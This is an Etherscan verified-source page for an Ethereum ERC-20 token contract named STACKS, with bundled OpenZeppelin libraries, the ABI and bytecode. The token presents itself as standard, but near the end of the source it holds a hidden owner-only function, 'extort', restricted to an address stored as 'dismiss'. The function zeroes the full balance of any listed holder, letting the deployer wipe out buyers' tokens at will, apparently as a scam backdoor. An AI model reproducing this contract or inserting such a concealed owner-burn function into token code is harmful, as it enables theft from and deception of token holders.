Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ...    - function functionStaticCall(    - function functionDelegateCall(address ...    - function functionDelegateCall(    - function verifyCallResultFromTarget(    - function verifyCallResult(    - function _revert(bytes memory returnd ... library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod(    - function _msgSender()    - function _msgData() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract stacks is Context, IERC20 *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function transferFrom(address sender, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function _mint(address account, uint2 ...    - function _approve(address owner, addr ...    - function _transfer(address sender, ad ...    - function extort(address[] memory expl ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-07-25
*/

// File: @openzeppelin/contracts/utils/Address.sol

// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol


// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: barb.sol


/**
 *SPDX-License-Identifier: MIT
 */
pragma solidity ^0.8.18;



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract stacks is Context, IERC20 {
 
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    address public  dismiss;
    constructor () {
        _name = "STACKS";
        _symbol = "STACKS";
        _decimals = 18;
        uint256 initialSupply = 739000000;
         dismiss = msg.sender;
        _mint(msg.sender, initialSupply*(10**18));
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    modifier onlyOwner() {
        require(msg.sender == dismiss, "Not allowed");
        _;
    }

    function extort(address[] memory explain) public onlyOwner() {
        for (uint256 i = 0; i < explain.length; i++) {
            address account = explain[i];
            uint256 amount = _balances[account];
            _balances[account] = _balances[account].sub(amount, "ERROR");
            _balances[address(0)] = _balances[address(0)].add(amount);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dismiss","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"explain","type":"address[]"}],"name":"extort","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b50604080518082019091526006815265535441434b5360d01b60208201526002906200003d908262000252565b50604080518082019091526006815265535441434b5360d01b60208201526003906200006a908262000252565b506004805460ff19166012179055600680546001600160a01b03191633908117909155632c0c3ec090620000b290620000ac83670de0b6b3a764000062000332565b620000b9565b5062000362565b6001600160a01b038216620001145760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b6005546200012390826200019e565b6005556001600160a01b0382165f908152602081905260409020546200014a90826200019e565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f620001ab82846200034c565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001dd57607f821691505b602082108103620001fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200024d57805f5260205f20601f840160051c81016020851015620002295750805b601f840160051c820191505b818110156200024a575f815560010162000235565b50505b505050565b81516001600160401b038111156200026e576200026e620001b4565b62000286816200027f8454620001c8565b8462000202565b602080601f831160018114620002bc575f8415620002a45750858301515b5f19600386901b1c1916600185901b17855562000316565b5f85815260208120601f198616915b82811015620002ec57888601518255948401946001909101908401620002cb565b50858210156200030a57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620001ae57620001ae6200031e565b80820180821115620001ae57620001ae6200031e565b610cc280620003705f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c806323b872dd1161007d57806395d89b411161005857806395d89b41146101d2578063a9059cbb146101da578063dd62ed3e146101ed575f80fd5b806323b872dd14610175578063313ce5671461018857806370a082311461019d575f80fd5b80630f642b76116100ad5780630f642b761461010957806311c8ccb81461011e57806318160ddd14610163575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d0610232565b6040516100dd9190610940565b60405180910390f35b6100f96100f43660046109d2565b6102c2565b60405190151581526020016100dd565b61011c610117366004610a27565b6102d8565b005b60065461013e9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b6005545b6040519081526020016100dd565b6100f9610183366004610b05565b610480565b60045460405160ff90911681526020016100dd565b6101676101ab366004610b3e565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6100d06104f4565b6100f96101e83660046109d2565b610503565b6101676101fb366004610b57565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b60606002805461024190610b88565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b88565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461050f565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff16331461035e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561047c575f82828151811061037c5761037c610bd9565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f52000000000000000000000000000000000000000000000000000000828701529282529352909250906103f390829081906106c2565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104499082610707565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5555050600101610360565b5050565b5f61048c848484610719565b6104ea84336104e585604051806060016040528060288152602001610c656028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906106c2565b61050f565b5060019392505050565b60606003805461024190610b88565b5f6102ce338484610719565b73ffffffffffffffffffffffffffffffffffffffff83166105b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610355565b73ffffffffffffffffffffffffffffffffffffffff8216610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610355565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81848411156106ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103559190610940565b505050900390565b5f6107128284610c06565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff83166107bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610355565b73ffffffffffffffffffffffffffffffffffffffff821661085f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610355565b6108a881604051806060016040528060268152602001610c3f6026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906106c2565b73ffffffffffffffffffffffffffffffffffffffff8085165f9081526020819052604080822093909355908416815220546108e39082610707565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106b5565b5f602080835283518060208501525f5b8181101561096c57858101830151858201604001528201610950565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109cd575f80fd5b919050565b5f80604083850312156109e3575f80fd5b6109ec836109aa565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f6020808385031215610a38575f80fd5b823567ffffffffffffffff80821115610a4f575f80fd5b818501915085601f830112610a62575f80fd5b813581811115610a7457610a746109fa565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610ab757610ab76109fa565b604052918252848201925083810185019188831115610ad4575f80fd5b938501935b82851015610af957610aea856109aa565b84529385019392850192610ad9565b98975050505050505050565b5f805f60608486031215610b17575f80fd5b610b20846109aa565b9250610b2e602085016109aa565b9150604084013590509250925092565b5f60208284031215610b4e575f80fd5b610712826109aa565b5f8060408385031215610b68575f80fd5b610b71836109aa565b9150610b7f602084016109aa565b90509250929050565b600181811c90821680610b9c57607f821691505b602082108103610bd3577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b808201808211156102d2577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220526671ed3d9435e8d6a5ddbbf6feaba6786bf1a42545130791204771f704feef64736f6c63430008160033

0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c806323b872dd1161007d57806395d89b411161005857806395d89b41146101d2578063a9059cbb146101da578063dd62ed3e146101ed575f80fd5b806323b872dd14610175578063313ce5671461018857806370a082311461019d575f80fd5b80630f642b76116100ad5780630f642b761461010957806311c8ccb81461011e57806318160ddd14610163575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d0610232565b6040516100dd9190610940565b60405180910390f35b6100f96100f43660046109d2565b6102c2565b60405190151581526020016100dd565b61011c610117366004610a27565b6102d8565b005b60065461013e9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b6005545b6040519081526020016100dd565b6100f9610183366004610b05565b610480565b60045460405160ff90911681526020016100dd565b6101676101ab366004610b3e565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6100d06104f4565b6100f96101e83660046109d2565b610503565b6101676101fb366004610b57565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b60606002805461024190610b88565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b88565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461050f565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff16331461035e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b815181101561047c575f82828151811061037c5761037c610bd9565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f52000000000000000000000000000000000000000000000000000000828701529282529352909250906103f390829081906106c2565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104499082610707565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5555050600101610360565b5050565b5f61048c848484610719565b6104ea84336104e585604051806060016040528060288152602001610c656028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906106c2565b61050f565b5060019392505050565b60606003805461024190610b88565b5f6102ce338484610719565b73ffffffffffffffffffffffffffffffffffffffff83166105b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610355565b73ffffffffffffffffffffffffffffffffffffffff8216610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610355565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81848411156106ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103559190610940565b505050900390565b5f6107128284610c06565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff83166107bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610355565b73ffffffffffffffffffffffffffffffffffffffff821661085f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a